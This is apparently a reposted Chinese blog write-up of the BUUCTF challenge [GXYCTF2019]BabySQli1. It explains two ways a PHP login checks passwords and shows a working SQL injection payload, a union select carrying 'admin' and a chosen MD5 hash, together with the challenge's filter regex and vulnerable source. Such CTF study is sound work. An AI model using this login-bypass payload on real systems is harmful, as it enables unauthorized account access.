php绕过验证,php后台验证两种方式绕过

php后台验证两种方式绕过

前言

环境:buuctf中[GXYCTF2019]BabySQli1

知识点:两种验证方式,密码绕过

参考:博客

做题

sql注入,fuzz过滤了(,),=,or

然后就琢磨着都过滤了(),函数都不能用,还怎么进行sql注入

尝试着成功登录进去

1‘||1 like 1# !!!,没有成功登进去,这说明后台查询方式不是类似

where user=‘‘ and password=‘‘

这题给了源码

用户登录两种业务查询方式

一种是直接对用户输入的账号名和密码进行查询

142.png

d856f585730868e227f951269c1ab694.png

另一种是针对用户输入的账号名进行查询对应的密码,再和用户输入的密码做比较

143.png

eecb4185b379186197682047515068da.png

根据题目的源码,显然是第二种

要绕过第二种可以利用union select

构造name=mi‘union select 1,‘admin‘,‘b6d767d2f8ed5d21a44b0e5886680cb9‘#&pw=22 成功绕过

拿到flag

部分源码

if(preg_match("/\(|\)|\=|or/", $name)){

die("do not hack me!");

}

else{

if (!$result) {

printf("Error: %s\n", mysqli_error($con));

exit();

}

else{

// echo ‘

‘;

$arr = mysqli_fetch_row($result);

// print_r($arr);

if($arr[1] == "admin"){

if(md5($password) == $arr[2]){

echo $flag;

}

else{

die("wrong pass!");

}

}

else{

die("wrong user!");

}

}

}

原文:https://www.cnblogs.com/NineOne/p/14044572.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值